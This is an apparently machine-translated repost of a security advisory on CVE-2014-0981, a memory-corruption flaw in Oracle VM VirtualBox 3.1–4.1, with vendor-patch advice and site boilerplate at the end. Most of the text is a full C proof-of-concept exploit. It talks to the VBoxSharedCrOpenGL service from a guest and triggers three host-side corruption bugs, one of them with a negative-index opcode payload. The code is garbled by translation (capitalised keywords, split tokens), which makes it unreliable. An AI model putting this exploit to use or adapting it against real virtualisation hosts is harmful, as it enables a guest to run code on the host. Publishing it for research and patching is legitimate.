Oracle VM VirtualBox 'crnetrecvreadback () 'Function Memory Corruption Vulnerability

Source: Internet
Author: User

Release date:
Updated on:

Affected Systems:
Oracle VM VirtualBox 4.1
Oracle VM VirtualBox 4.0
Oracle VM VirtualBox 3.2
Oracle VM VirtualBox 3.1
Description:
--------------------------------------------------------------------------------
Bugtraq id: 66131
CVE (CAN) ID: CVE-2014-0981

VirtualBox is a x86 virtualization product.

Oracle VM VirtualBox has a memory corruption vulnerability in the implementation of the crNetRecvReadback () function. Attackers can exploit this vulnerability to execute arbitrary code in the context of the management program running in the host operating system.

<* Source: CoreLabs (http://www.coresecurity.com/corelabs)
*>

Test method:
--------------------------------------------------------------------------------

Alert

The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!

# Include "stdafx. h"
# Include <windows. h>
# Include "vboxguest2.h"
# Include "vboxguest. h"
# Include "err. h"
# Include "vboxcropenglsvc. h"
# Include "cr_protocol.h"

# Define VBOXGUEST_DEVICE_NAME "\\\\. \ VBoxGuest"


HANDLE open_device (){
HANDLE hDevice = CreateFile (VBOXGUEST_DEVICE_NAME,
GENERIC_READ | GENERIC_WRITE,
File_pai_read | file_pai_write,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL );

If (hDevice = INVALID_HANDLE_VALUE ){
Printf ("[-] cocould not open device % s. \ n", VBOXGUEST_DEVICE_NAME );
Exit (EXIT_FAILURE );
}
Printf ("[+] Handle to % s: 0x % X \ n", VBOXGUEST_DEVICE_NAME, hDevice );
Return hDevice;


}


Uint32_t do_connect (HANDLE hDevice ){
VBoxGuestHGCMConnectInfo info;
DWORD cbReturned = 0;
BOOL rc;

Memset (& info, 0, sizeof (info ));
Info. Loc. type = VMMDevHGCMLoc_LocalHost_Existing;
Strcpy (info. Loc. u. host. achName, "VBoxSharedCrOpenGL ");

Rc = DeviceIoControl (hDevice, VBOXGUEST_IOCTL_HGCM_CONNECT, & info,
Sizeof (info), & info, sizeof (info), & cbReturned, NULL );
If (! Rc ){
Printf ("ERROR: DeviceIoControl failed in function do_connect ()!
LastError: % d \ n ", GetLastError ());
Exit (EXIT_FAILURE );
}

If (info. result = VINF_SUCCESS ){
Printf ("HGCM connect was successful: client id = 0x % x \ n ",
Info. u32ClientID );
}
Else {
// If 3D Acceleration is disabled, info. result value will be-2900.
Printf ("[-] HGCM connect failed. Result: % d (Is 3D Acceleration
Enabled ??) \ N ", info. result );
Exit (EXIT_FAILURE );
}
Return info. u32ClientID;
}


Void do_disconnect (HANDLE hDevice, uint32_t u32ClientID ){
BOOL rc;
VBoxGuestHGCMDisconnectInfo info;
DWORD cbReturned = 0;

Memset (& info, 0, sizeof (info ));
Info. u32ClientID = u32ClientID;
Printf ("Sending VBOXGUEST_IOCTL_HGCM_DISCONNECT message... \ n ");
Rc = DeviceIoControl (hDevice, VBOXGUEST_IOCTL_HGCM_DISCONNECT,
& Info, sizeof (info), & info, sizeof (info), & cbReturned, NULL );
If (! Rc ){
Printf ("ERROR: DeviceIoControl failed in function
Do_disconnect ()! LastError: % d \ n ", GetLastError ());
Exit (EXIT_FAILURE );
}

If (info. result = VINF_SUCCESS ){
Printf ("HGCM disconnect was successful. \ n ");
}
Else {
Printf ("[-] HGCM disconnect failed. Result: % d \ n", info. result );
Exit (EXIT_FAILURE );
}

}


Void set_version (HANDLE hDevice, uint32_t u32ClientID ){
CRVBOXHGCMSETVERSION parms;
DWORD cbReturned = 0;
BOOL rc;

Memset (& parms, 0, sizeof (parms ));
Parms. hdr. result = VERR_WRONG_ORDER;
Parms. hdr. u32ClientID = u32ClientID;
Parms. hdr. u32Function = SHCRGL_GUEST_FN_SET_VERSION;
Parms. hdr. cParms = SHCRGL_CPARMS_SET_VERSION;

Parms. vMajor. type = VMMDevHGCMParmType_32bit;
Parms. vMajor. u. value32 = CR_PROTOCOL_VERSION_MAJOR;
Parms. vMinor. type = VMMDevHGCMParmType_32bit;
Parms. vMinor. u. value32 = CR_PROTOCOL_VERSION_MINOR;

Rc = DeviceIoControl (hDevice, VBOXGUEST_IOCTL_HGCM_CALL, & parms,
Sizeof (parms), & parms, sizeof (parms), & cbReturned, NULL );

If (! Rc ){
Printf ("ERROR: DeviceIoControl failed in function set_version ()!
LastError: % d \ n ", GetLastError ());
Exit (EXIT_FAILURE );
}

If (parms. hdr. result = VINF_SUCCESS ){
Printf ("HGCM Call successful. cbReturned: 0x % X. \ n", cbReturned );
}
Else {
Printf ("Host didn't accept our version. \ n ");
Exit (EXIT_FAILURE );
}
}


Void set_pid (HANDLE hDevice, uint32_t u32ClientID ){
CRVBOXHGCMSETPID parms;
DWORD cbReturned = 0;
BOOL rc;

Memset (& parms, 0, sizeof (parms ));
Parms. hdr. result = VERR_WRONG_ORDER;
Parms. hdr. u32ClientID = u32ClientID;
Parms. hdr. u32Function = SHCRGL_GUEST_FN_SET_PID;
Parms. hdr. cParms = SHCRGL_CPARMS_SET_PID;

Parms. u64PID. type = VMMDevHGCMParmType_64bit;
Parms. u64PID. u. value64 = GetCurrentProcessId ();

Rc = DeviceIoControl (hDevice, VBOXGUEST_IOCTL_HGCM_CALL, & parms,
Sizeof (parms), & parms, sizeof (parms), & cbReturned, NULL );

If (! Rc ){
Printf ("ERROR: DeviceIoControl failed in function set_pid ()!
LastError: % d \ n ", GetLastError ());
Exit (EXIT_FAILURE );
}

If (parms. hdr. result = VINF_SUCCESS ){
Printf ("HGCM Call successful. cbReturned: 0x % X. \ n", cbReturned );
}
Else {
Printf ("Host didn't like our PID % d \ n", GetCurrentProcessId ());
Exit (EXIT_FAILURE );
}

}


/* Triggers the vulnerability in the crNetRecvReadback function .*/
Void trigger_message_readback (HANDLE hDevice, uint32_t u32ClientID ){
CRVBOXHGCMINJECT parms;
DWORD cbReturned = 0;
BOOL rc;
Char mybuf [1024];
CRMessageReadback msg;

Memset (& msg, 0, sizeof (msg ));
Msg. header. type = CR_MESSAGE_READBACK;
Msg. header. conn_id = 0 x8899;


// This address will be decremented by 1
* (DWORD *) & msg. writeback_ptr.ptrSize) = 0x88888888;
// Destination address for the memcpy
* (DWORD *) & msg. readback_ptr.ptrSize) = 0x99999999;

Memcpy (& mybuf, & msg, sizeof (msg ));
Strcpy (mybuf + sizeof (msg), "Hi hypervisor! ");

Memset (& parms, 0, sizeof (parms ));
Parms. hdr. result = VERR_WRONG_ORDER;
Parms. hdr. u32ClientID = u32ClientID;
Parms. hdr. u32Function = SHCRGL_GUEST_FN_INJECT;
Parms. hdr. cParms = SHCRGL_CPARMS_INJECT;

Parms. u32ClientID. type = VMMDevHGCMParmType_32bit;
Parms. u32ClientID. u. value32 = u32ClientID;

Parms. pBuffer. type = VMMDevHGCMParmType_LinAddr_In;
Parms. pBuffer. u. Pointer. size = sizeof (mybuf); // size for
Memcpy: sizeof (mybuf)-0x18
Parms. pBuffer. u. Pointer. u. linearAddr = (uintptr_t) mybuf;

Rc = DeviceIoControl (hDevice, VBOXGUEST_IOCTL_HGCM_CALL, & parms,
Sizeof (parms), & parms, sizeof (parms), & cbReturned, NULL );

If (! Rc ){
Printf ("ERROR: DeviceIoControl failed in function
Trigger_message_readback ()!. LastError: % d \ n ", GetLastError ());
Exit (EXIT_FAILURE );
}

If (parms. hdr. result = VINF_SUCCESS ){
Printf ("HGCM Call successful. cbReturned: 0x % X. \ n", cbReturned );
}
Else {
Printf ("HGCM Call failed. Result: % d \ n", parms. hdr. result );
Exit (EXIT_FAILURE );
}
}


/* Triggers the vulnerability in the crNetRecvWriteback function .*/
Void trigger_message_writeback (HANDLE hDevice, uint32_t u32ClientID ){
CRVBOXHGCMINJECT parms;
DWORD cbReturned = 0;
BOOL rc;
Char mybuf [512];
CRMessage msg;

Memset (& mybuf, 0, sizeof (mybuf ));

Memset (& msg, 0, sizeof (msg ));
Msg. writeback. header. type = CR_MESSAGE_WRITEBACK;
Msg. writeback. header. conn_id = 0x8899;
// This address will be decremented by 1
* (DWORD *) msg. writeback. writeback_ptr.ptrSize) = 0 xAABBCCDD;

Memcpy (& mybuf, & msg, sizeof (msg ));
Strcpy (mybuf + sizeof (msg), "dummy ");

Memset (& parms, 0, sizeof (parms ));
Parms. hdr. result = VERR_WRONG_ORDER;
Parms. hdr. u32ClientID = u32ClientID;
Parms. hdr. u32Function = SHCRGL_GUEST_FN_INJECT;
Parms. hdr. cParms = SHCRGL_CPARMS_INJECT;

Parms. u32ClientID. type = VMMDevHGCMParmType_32bit;
Parms. u32ClientID. u. value32 = u32ClientID;

Parms. pBuffer. type = VMMDevHGCMParmType_LinAddr_In;
Parms. pBuffer. u. Pointer. size = sizeof (mybuf );
Parms. pBuffer. u. Pointer. u. linearAddr = (uintptr_t) mybuf;


Rc = DeviceIoControl (hDevice, VBOXGUEST_IOCTL_HGCM_CALL, & parms,
Sizeof (parms), & parms, sizeof (parms), & cbReturned, NULL );

If (! Rc ){
Printf ("ERROR: DeviceIoControl failed in function
Trigger_message_writeback ()! LastError: % d \ n ", GetLastError ());
Exit (EXIT_FAILURE );
}

If (parms. hdr. result = VINF_SUCCESS ){
Printf ("HGCM Call successful. cbReturned: 0x % X. \ n", cbReturned );
}
Else {
Printf ("HGCM Call failed. Result: % d \ n", parms. hdr. result );
Exit (EXIT_FAILURE );
}

}


/* Triggers the vulnerability in the crServerDispatchVertexAttrib4NubARB
Function .*/
Void trigger_opcode_0xea (HANDLE hDevice, uint32_t u32ClientID ){
CRVBOXHGCMINJECT parms;
Char mybuf [0x10f0];
DWORD cbReturned = 0;
BOOL rc;

Unsigned char opcodes [] = {0xFF, 0xea, 0x02, 0xf7 };
DWORD opcode_data [] =
{0x08, // Advance 8 bytes
After executing opcode 0xF7, subopcode 0x30
0x30, // Subopcode for opcode 0xF7
0x331, // Argument for opcode 0x02
0xFFFCFA4B, // This is
Negative index used to trigger the memory upload uption
0x41414141}; // Junk

CRMessageOpcodes msg_opcodes;

Memset (& mybuf, 0, sizeof (mybuf ));

Memset (& msg_opcodes, 0, sizeof (msg_opcodes ));
Ms g_opcodes.header.conn_id = 0x8899;
Msg_opcodes.header.type = CR_MESSAGE_OPCODES;
Msg_opcodes.numOpcodes = sizeof (opcodes );

Char * offset = (char *) & mybuf;
Memcpy (offset, & msg_opcodes, sizeof (msg_opcodes ));
Offset + = sizeof (msg_opcodes );

/* ----- Opcodes -----*/
Memcpy (offset, & opcodes, sizeof (opcodes ));
Offset + = sizeof (opcodes );

/* ----- Data for the opcodes -----*/
Memcpy (offset, & opcode_data, sizeof (opcode_data ));
Offset + = sizeof (opcode_data );


Memset (& parms, 0, sizeof (parms ));
Parms. hdr. result = 0;
Parms. hdr. u32ClientID = u32ClientID;
Parms. hdr. u32Function = SHCRGL_GUEST_FN_INJECT;
Parms. hdr. cParms = SHCRGL_CPARMS_INJECT;

Parms. u32ClientID. type = VMMDevHGCMParmType_32bit;
Parms. u32ClientID. u. value32 = u32ClientID;

Parms. pBuffer. type = VMMDevHGCMParmType_LinAddr_In;
Parms. pBuffer. u. Pointer. size = sizeof (mybuf );
Parms. pBuffer. u. Pointer. u. linearAddr = (uintptr_t) mybuf;

Rc = DeviceIoControl (hDevice, VBOXGUEST_IOCTL_HGCM_CALL, & parms,
Sizeof (parms), & parms, sizeof (parms), & cbReturned, NULL );

If (! Rc ){
Printf ("ERROR: DeviceIoControl failed in function
Trigger_opcode_0xea ()! LastError: % d \ n ", GetLastError ());
Exit (EXIT_FAILURE );
}

If (parms. hdr. result = VINF_SUCCESS ){
Printf ("HGCM Call successful. cbReturned: 0x % X. \ n", cbReturned );
}
Else {
Printf ("HGCM Call failed. Result: % d \ n", parms. hdr. result );
Exit (EXIT_FAILURE );
}

}


Void poc (int option ){
HANDLE hDevice;
Uint32_t u32ClientID;

/* Connect to the VBoxSharedCrOpenGL service */
HDevice = open_device ();
U32ClientID = do_connect (hDevice );

/* Set version and PID */
Set_version (hDevice, u32ClientID );
Set_pid (hDevice, u32ClientID );

Switch (option ){
Case 1:
Printf ("[1] triggering the first bug... \ n ");
Trigger_message_readback (hDevice, u32ClientID );
Break;
Case 2:
Printf ("[2] triggering the second bug... \ n ");
Trigger_message_writeback (hDevice, u32ClientID );
Break;
Case 3:
Printf ("[3] triggering the third bug... \ n ");
Trigger_opcode_0xea (hDevice, u32ClientID );
Break;
Default:
Printf ("[!] Unknown option % d. \ n ", option );
}

/* Disconnect from the VBoxSharedCrOpenGL service */
Do_disconnect (hDevice, u32ClientID );
CloseHandle (hDevice );
}

 


Int main (int argc, char * argv [])
{
If (argc <2 ){
Printf ("Usage: % s <option number> \ n", argv [0]);
Printf ("* Option 1: trigger the vulnerability in
CrNetRecvReadback function. \ n ");
Printf ("* Option 2: trigger the vulnerability in
CrNetRecvWriteback function. \ n ");
Printf ("* Option 3: trigger the vulnerability in
CrServerDispatchVertexAttrib4NubARB function. \ n ");
Exit (1 );
}
Poc (atoi (argv [1]);
}

Suggestion:
--------------------------------------------------------------------------------
Vendor patch:

Oracle
------
The vendor has released a patch to fix this security problem. Please download it from the vendor's homepage:

Http://www.oracle.com/technetwork/topics/security/

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.